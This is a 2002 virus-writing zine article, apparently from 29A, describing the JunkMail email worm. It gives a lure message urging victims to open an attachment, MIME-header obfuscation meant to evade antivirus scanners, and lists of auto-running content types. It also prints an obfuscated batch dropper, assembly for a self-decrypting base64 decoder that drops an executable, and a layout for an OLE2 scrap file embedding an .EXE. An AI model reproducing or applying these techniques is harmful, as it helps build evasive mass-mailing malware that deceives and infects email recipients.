29a_fu.zip 29A-7.009

www.pudn.com > 29a_fu.zip > 29A-7.009
 
                         The Ins and Outs of JunkMail 
                              roy g biv / defjam 
                              RT Fishel / defjam 
 
                                 -= defjam =- 
                                  since 1992 
                     bringing you the viruses of tomorrow 
                                    today! 
 
 
About the authors: 
 
roy  g  biv: former DOS/Win16 virus writer, author of several virus  families, 
including  Ginger  (see Coderz #1 zine for terrible buggy example, contact  me 
for  better sources ;), and Virus Bulletin 9/95 for a description of what they 
called  Rainbow.   Co-author of world's first virus using  circular  partition 
trick  (Orsam,  coded with Prototype in 1993).  Designer of world's first  XMS 
swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the 
rest  is  swapped  out).   Author of world's first virus  using  Thread  Local 
Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but 
they  call  it  Chiton), world's first virus using Visual Basic  5/6  language 
extensions  for  replication  (OU812), world's first Native  executable  virus 
(Chthon),  and  world's  first  virus using process  co-operation  to  prevent 
termination  (Gemini).  Author of various retrovirus articles (eg see Vlad  #7 
for the strings that make your code invisible to TBScan).  Went to sleep for a 
number  of years.  This is my sixth virus for Win32.  It is the world's  first 
virus using polymorphic SMTP headers. 
 
I'm also available for joining a group.  Just in case anyone is interested. ;) 
 
RT Fishel: I don't write virus, I write code for people to use in their virus. 
 
 
JunkMail  brings to you some new techniques for e-mail speading.  If you  read 
RFC  822 carefully, you will see a description about comments that are allowed 
to  appear  in headers.  These comments must be enclosed in () characters  and 
can  contain any characters in the ISO-8859-1 character set.  If you use these 
comments  to obfuscate the MIME headers, then you might bypass some AV  e-mail 
scanners. :) 
 
Here is an example JunkMail e-mail before obfuscation: 
 
MIME-Version: 1.0 
Content-Type: multipart/mixed; 
 boundary=WIFVHABY 
 
--WIFVHABY 
 
I received this file from you yesterday evening. 
I think it was sent without you knowing by the Aliz virus. 
The filename was changed but it looked like an important video inside. 
You should look at this file to see what it is. 
The attachment might open automatically. This is normal behaviour. 
If you see a prompt to Open or Save the email then choose Open. 
If the attachment is blocked by Outlook 2002 then see 
http://support.microsoft.com/support/kb/articles/q290/4/97.asp 
 
--WIFVHABY 
Content-Type: text/html 
Content-Transfer-Encoding: quoted-printable 
 
 
--WIFVHABY 
Content-Type: audio/x-ms-wax; 
 name=email.com 
Content-Transfer-Encoding: base64 
Content-ID: <EMAIL> 
 
[base64 encoded file] 
--WIFVHABY 
-- 
 
 
Here is an example JunkMail e-mail after obfuscation: 
 
MIMe-vERSioN: 1(*T).0 
COntEnT-TyPe: (<!)mU(3)l(/)TIp(*)aRT(!)/M(;)i(^)X(eCz)E(/`x)d; 
 (,#?)Bo(8l)uN(_)Da(*F)Ry=WIFVHABY 
 
XXEMEDWSIUKZTCJYCBTCRRBYFLUICTWOURLFJDDRB 
EIQFPJJEAHOGZWSZYFPEXNSOSBDJNHURTQTRRIBLUPYXIPFWBXJNBOQVLSMJ 
GJHZF 
KKTKYGEHWHUZTXWBGKDFCIJBCMGBZBFEDMVLYDURSRTXNOXGLJYTGVEPW 
GFVEVLCJ 
WIFVHABY-- 
--WIFVHABY 
 
I received this file from you yesterday evening. 
I think it was sent without you knowing by the Aliz virus. 
The filename was changed but it looked like an important video inside. 
You should look at this file to see what it is. 
The attachment might open automatically. This is normal behaviour. 
If you see a prompt to Open or Save the email then choose Open. 
If the attachment is blocked by Outlook 2002 then see 
http://support.microsoft.com/support/kb/articles/q290/4/97.asp 
 
--WIFVHABY 
coNTent-TYPE: (6{)t(=`)e(x-1)xt(bU)/hT(w)ML 
coNtEnT-TRANSFEr-ENCoDING: Qu(ZYT)OT(0&y)E(DBZ)d(a)-(_)PRi(p9Q)N(|N)TaBlE 
 
=3CIF=52A=4DE =53RC=3D=43I=44=3A=45MAIL =57=49=44T=48=3D=30=3E 
--WIFVHABY 
ConTeNt-TYpe: (~S)A(I8t)U(w)D(y:,)Io/(JP)x-M(,)s-w(J)A(+)X(8); 
 (')Nam(|lz)E(oJ_)=(M#g)e(NO>)m(J)a(6U)il(b#).c(lp')o(Eh)M 
ConTenT-tRaNSFER-eNCoDiNG: bA(@h)se(*)64 
coNtENt-iD: <(wFe)EM(gq6)ai(*)L> 
 
[base64 encoded file] 
--WIFVHABY 
OIALNKVLKBDYHURLTQQGRACSXCSGLWKJVSDROSQBJOXYMYAFRFQJGKA 
VBJLPEZQDTRVIXV 
AHAVZF 
ABCAYMKUVCZERXGK 
MCKSRAHQVCJVFYZJGTRUHRJQXPNUWJRRJCRTGCOFCRWNRNKYGAXT 
NEWUHSRTHFEIWGHMMELC 
PQJQLUYEBRTOPMMUEIZYEXAITLRBJOTVLMFZIZTUTSVILGZQQSKODLBCIKW 
VADMWVJEXMGWEPAJIVBEXBQQESSCWMQVSUZXVOMLGATIUKIJCCZRZZQSF 
FPGMSXAG 
-- 
 
 
Wow! :) 
So  this is our first step, but it is not enough for us.  We want to do  more. 
After  some  research,  we found all of the MIME Content Types  that  can  run 
automatically.  There is not just audio/x-wav, you know?  Here are they: 
 
        application/x-mplayer2 
        audio/aiff 
        audio/mid 
        audio/midi 
        audio/mpeg 
        audio/x-mid 
        audio/x-midi 
        audio/x-mpegurl 
        audio/x-ms-wax 
        audio/x-ms-wma 
        audio/x-wav 
        midi/mid 
        video/msvideo 
        video/quicktime 
        video/x-ivf 
        video/x-mpeg 
        video/x-mpeg2a 
        video/x-ms-asf 
        video/x-ms-asf-plugin 
        video/x-ms-wm 
        video/x-ms-wmv 
        video/x-ms-wvx 
 
Then  with  more research, we found another thing: Content Types that  display 
the  CID  instead of the filename!  The user will see a prompt this time,  but 
if  the  CID  has a not-suspicious name, then the user might let it  run.   It 
seems that no-one knew about this.  Here are they: 
 
        application/futuresplash 
        application/hta 
        application/x-shockwave-flash 
        text/x-scriptlet 
 
We  use EMAIL for CID, so user opens e-mail then sees prompt to open EMAIL. :) 
And  still not enough for us.  We also use random choice of file content  (not 
only  the extension).  We can choose between a .BAT file, a Windows executable 
file, and a OLE2 scrap file. 
 
The  .BAT  file drops a executable ASCII .COM file that contains a new  base64 
decoder  algorithm  that  does  not need any character  dictionary.   Here  is 
description of that by RT Fishel: 
 
The  .BAT  file dropper had to be compatible with RFC 1521 mail, it had to  be 
compatible  with  .BAT  files  for  all Windows versions, and  it  had  to  be 
compatible  with  ISO  8859  (0x20-0x7e  only) to  avoid  troubles  with  DBCS 
codepages.   RFC  1521  mail has a maximum line length of 76  characters  (not 
including CRLF) and no = (0x3d) characters unless at end of line or encoded as 
uppercase  octet  (=3D).   Long  lines are continued by  ending  line  with  = 
character  and  .BAT files must not contain any of these characters:  "  (0x22 
(NT/2000/XP)), & (0x26), < (0x3c), > (0x3e), | (0x7c).  Also, % (0x25) must be 
%%  (all  platforms) and ^ (0x5e) must be ^^ under NT/2000/XP.  All  of  these 
conditions made it very difficult to write. :) 
 
So we begin: 
 
        @ECHO OFF                               no screen output 
        SET %R=^^^^                             must default to NT/2000/XP (result is %R%=^^) 
        IF NOT %OS%T==T GOTO F                  OS is defined for NT/2000/XP so we skip next line 
        SET %R=^                                because this line executes correctly only under 9x/Me 
        :F 
 
but for sure we obfuscate that code, too.  Here is an example of that: 
 
        @EC=48O =4FFF 
        =53=45=54 %=52=3D^^=5E^ 
        I=46 NO=54 %O=53%=54=3D=3DT =47O=54=4F =46 
        SE=54 =25R=3D=5E 
        :=46 
-- 
 
 
Then we initialise the decryptor (this is executable ASCII code): 
 
        pop     ax                              ax = 0 
        push    ax                              return address (-> int 20h) 
        dec     ax                              ax = ffffh 
        aaa                                     ax = 105h 
        xor     al, (offset b64_outer + 1 - 105h) and 0ffh 
        push    ax 
        pop     si                              si -> encrypted buffer 
        xor     ax, (offset b64_outer + 1) xor '00' 
                                                ah = '0' (8-bit decryption key) 
        push    ax 
        pop     bp                              bp = '00' (16-bit decryption key) 
 
and decrypt the decoder: 
 
        sub     [si + 21], ah                   decrypt push (76 shr 2) + 1 
        sub     [si + 27], ah                   decrypt je b64_newline 
        sub     [si + 29], si + sub [si + 29], ah 
                                                decrypt lods dword ptr [esi] 
        sub     [si + 2b], ah                   decrypt push 4 
        sub     [si + 2e], si + sub [si + 2f], si 
                                                decrypt rol eax, 8 
        sub     [si + 30], bp                   decrypt cmp al, '0' 
        sub     [si + 34], bp                   decrypt jnb b64_testchar 
        sub     [si + 36], si                   decrypt add al, (('/' shl 2) + 1) and 0ffh 
        sub     [si + 37], si + sub [si + 38], si 
                                                decrypt shr al, 2 
        sub     [si + 39], bp                   decrypt add al, 4 
        sub     [si + 3b], bp                   decrypt cmp al, 3fh 
        sub     [si + 3f], ah                   decrypt jbe b64_store 
        sub     [si + 42], bp                   decrypt cmp al, 19h 
        sub     [si + 45], ah                   decrypt jbe b64_store 
        sub     [si + 47], ah                   decrypt sub al, 6 
        sub     [si + 49], ah + sub [si + 4a], si + sub [si + 4a], ah + sub [si + 4b], si + sub [si + 4c], ah 
                                                decrypt shrd ebx, eax, 6 
        sub     [si + 4d], si + sub [si + 4e], si 
                                                decrypt loop b64_inner 
        sub     [si + 50], si + sub [si + 50], ah 
                                                decrypt xchg ebx, eax 
        sub     [si + 52], bp * 2               decrypt bswap eax 
        sub     [si + 55], si + sub [si + 55], ah 
                                                decrypt stos dword ptr [di] 
        sub     [si + 5a], si                   decrypt jne b64_outer 
        sub     [si + 63], si                   decrypt int 21h 
        sub     [si + 6c], si                   decrypt int 21h 
        sub     [si + 6e], si                   decrypt ret 
 
then terminate filename and point to base64 data: 
 
        push    si 
        pop     ax 
        sub     al, 42h                         just random values to sub 84h 
        sub     al, 42h                         point to end of filename 
        push    ax 
        pop     di 
        and     byte ptr [di], ah               must be 0 somewhere after suffix 
        inc     di                              point to base64 data (fword aligned) 
        push    di                              save write buffer pointer 
        xor     al, 34h                         point to start of filename 
        push    ax                              save filename pointer 
        push    di 
        pop     si                              si -> base64 data 
 
base64 decoder without dictionary by RT Fishel, 16-bit version, ~64kb decode 
(this part has been decrypted by code above) 
 
b64decode   proc    near 
 
b64_newline     label   near 
        push    (76 shr 2) + 1 
        pop     dx 
        inc     si 
        inc     si 
 
b64_outer   label   near 
        dec     edx 
        je      b64_newline 
        lods    dword ptr [esi] 
        push    4 
        pop     cx 
 
b64_inner       label   near 
        rol     eax, 8 
        cmp     al, '0' 
        jnb     b64_testchar 
        add     al, (('/' shl 2) + 1) and 0ffh 
        shr     al, 2                           '+' and '/' differ by only 1 bit 
 
b64_testchar    label   near 
        add     al, 4 
        cmp     al, 3fh 
        jbe     b64_store 
        sub     al, 45h 
        cmp     al, 19h 
        jbe     b64_store 
        sub     al, 6 
 
b64_store       label   near 
        shrd    ebx, eax, 6 
        loop    b64_inner 
        xchg    ebx, eax 
        bswap   eax 
        stos    dword ptr [di] 
        dec     di 
        inc     si 
        dec     si 
        jne b64_outer 
b64decode   endp 
 
now to drop decoded .EXE file 
 
        push    (51h shl 8) + 'R' 
        pop     ax 
        xor     ax, (6dh shl 8) + 'T'           ah=3c 
        pop     dx                              restore filename pointer 
        int     21h 
        push    ax 
        pop bx 
        xor     ax, (40h shl 8) + 'F'           ah=40 
        dec     cx 
        pop     dx                              restore write buffer pointer 
        int     21h 
        ret 
        db      'I'                             dummy byte altered by decryptor 
 
filename follows immediately, then pad bytes for 6-byte align, and base64 data 
-- 
 
 
The  Windows  executable  file is a standard  MZ .EXE file.   We  did  nothing 
special in that case. 
 
The  scrap file is a 512 bytes-per-page OLE2 file with embedded .EXE.  It uses 
some tricks to  make it smallest possible OLE2 file.  Here is a description of 
that by roy g biv: 
 
This  is  a 512 bytes-per-page OLE2 file that works in  9x/Me/NT/2000/XP.   It 
uses  the standard OLE2 signature (D0 CF 11 E0 A1 B1 1A E1), because OLE2 beta 
signature  (0E 11 FC 0D A1 B1 1A E1) is not supported by Windows 2000/XP.  The 
shift  count is 9, so it is not affected by the new OLE2 header size bug.   It 
supports  <= 32256 bytes files, because FAT table is a single page.  The  file 
must be >= 4096 bytes long, this is an OLE2 limitation.  There is header field 
to control this, but is ignored for values < 4096 
 
256  bytes-per-page OLE2 file works in 9x/Me/NT, for <= 16128 bytes files.  It 
is  possible  in 2000/XP (needs many tricks), for <= 15872 bytes  files  only. 
This  restriction is because of a bug in the 2000/XP OLE2 implementation.   In 
the  OLE2  specification, the file header is fixed at 512 bytes long, and  the 
default  shift count is 9, but someone at Microsoft thought that these  values 
are  related  and now the shift count applies to the file header,  too.   This 
means  that  using  a shift count < 9 will read bytes from  the  file  header, 
instead  of  the first page.  It is similar to changing the  header  paragraph 
count  to 0 in DOS MZ files.  The correct behaviour for OLE2 is to use a  base 
file  offset,  which value is 1 << ((shift < 9) ? 9 : shift) to support  large 
headers  but  512 bytes minimum, but there is more chance that Microsoft  will 
never notice this bug anyway. 
 
We store zeroes for many fields, because OLE2 dlls will use default values. 
 
Here is the file: 
 
        db      0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h 
                                                000 signature 
        db      10h dup (0)                     008 unused 
        dw      0, 0                            018 DLL version 
        dw      0                               01c byte order (for Unicode) 
        dw      9                               01e shift count for main FAT 
        dw      0                               020 shift count for mini FAT 
        dw      0                               022 reserved 
        dd      0, 0                            024 reserved 
        dd      1                               02c pages in main FAT 
        dd      1                               030 page of root storage 
        dd      0                               034 unused 
        dd      0                               038 size of main pages 
        dd      0                               03c page of mini FAT 
        dd      0                               040 pages in mini FAT 
        dd      0                               044 next page in main FAT (end of chain) 
        dd      0                               048 unused 
        dd      6dh dup (0)                     04c filler 
        dd      0                               200 main FAT page 
        dd      0fffffffeh                      204 root storage chain 
        dd      ? dup (?)                       208 embedded object stream chain (variable size) 
        dw      1, "Ole10Native", 14h dup (0)   400 stream name 
        dw      1ah                             440 name length 
        db      2                               442 attribute (2=stream, unchecked for Root Storage) 
        db      0                               443 unused 
        dd      0ffffffffh, 0ffffffffh          444 left and right node indexes 
        dd      1                               44c storage index (overload as Root Storage) 
        db      10h dup (0)                     450 CLSID 
        dd      0                               460 flags 
        dq      0, 0                            464 create and modify times 
        dd      2                               474 data page 
        dd      ?                               478 stream size 
        dd      0                               47c unused 
        dw      3, "ITEM000", 18h dup (0)       480 scrap storage name 
        dw      12h                             4c0 name length 
        db      1                               4c2 attribute (1=storage) 
        db      0                               4c3 unused 
        dd      0ffffffffh, 0ffffffffh          4c4 left and right node indexes 
        dd      0                               4cc storage index 
        CLSID   0003000c-0000-0000-c000-000000000046 
                                                4d0 scrap CLSID 
        dd      0                               4e0 flags 
        dq      0, 0                            4e4 create and modify times 
        dd      0                               4f4 data page (unused by storages) 
        dd      0                               4f8 stream size 
        dd      0                               4fc unused 
        dd      40h dup (0)                     500 unused directory entries 
        dd      ?                               600 scrap size 
        dw      0                               604 number of strings following 
        dw      3                               606 type (3=static) 
        dd      6                               608 filename length 
        db      "\.exe", 0                      60c filename (only directory and suffix required) 
        dd      ?                               612 embedded object size 
                                                616 
Embedded .EXE file follows immediately. 
-- 
 
 
JunkMail  also  uses an adaptive 4/5-bit text compression to hide  the  e-mail 
texts.  RT Fishel got the 6502 source from qkumba in 1986 and ported to 80386+ 
in  2002.  16 years to convert 200 lines of code.  No-one said RTF is fast. :) 
The compressor is also included so you can change the texts if you want to. 
 
 
That's all for this time. 
Some cynics might say it is too late for you to ever make it to the top. 
They are right.  That top is ours. ;) 
 
 
roy g biv greets: 
 
RT Fishel               good to work with you again! 
VirusBuster             29A#6 is cool 
Prototype               see you in the next life 
The Gingerbread Man     ...actus rium non facit nici.  mens ria sit 
 
 
RT Fishel greets: 
 
roy g biv               the hardest part is choosing the name ;) 
Obleak                  je voudrais ou j'ai besoin de? 
The Gingerbread Man     wake up, Neo.  knock knock 
Ronin                   what's in the case? 
qkumba                  achcha ye bilbul teek hai! 
 
 
rgb/dj may 2002 
iam_rgb@hotmail.com 
[sorry, no mail for RTF.  send to rgb] 
</pre>
<script src="/inc/gg_read2.js"></script><BR>
<script src="http://s117.cnzz.com/stat.php?id=1236358&web_id=1236358&show=pic" language="JavaScript" charset="gb2312"></script>
</body></html>